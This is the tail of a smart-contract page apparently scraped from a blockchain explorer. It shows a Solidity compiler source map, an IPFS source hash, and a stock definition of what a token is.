;12607:9;12600:17;12596:45;12593:2;;;12644:18;;:::i;:::-;-1:-1:-1;12684:9:1;;12583:116::o;12704:125::-;12744:4;12772:1;12769;12766:8;12763:2;;;12777:18;;:::i;:::-;-1:-1:-1;12814:9:1;;12753:76::o;12834:135::-;12873:3;-1:-1:-1;;12894:17:1;;12891:2;;;12914:18;;:::i;:::-;-1:-1:-1;12961:1:1;12950:13;;12881:88::o;12974:127::-;13035:10;13030:3;13026:20;13023:1;13016:31;13066:4;13063:1;13056:15;13090:4;13087:1;13080:15;13106:127;13167:10;13162:3;13158:20;13155:1;13148:31;13198:4;13195:1;13188:15;13222:4;13219:1;13212:15;13238:131;-1:-1:-1;;;;;13313:31:1;;13303:42;;13293:2;;13359:1;13356;13349:12;13293:2;13283:86;:::o

Swarm Source

ipfs://15b81d1a5d8e0179a7a5945db32c7e8175ae86f7e761bf2074b463bf7082ef22
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.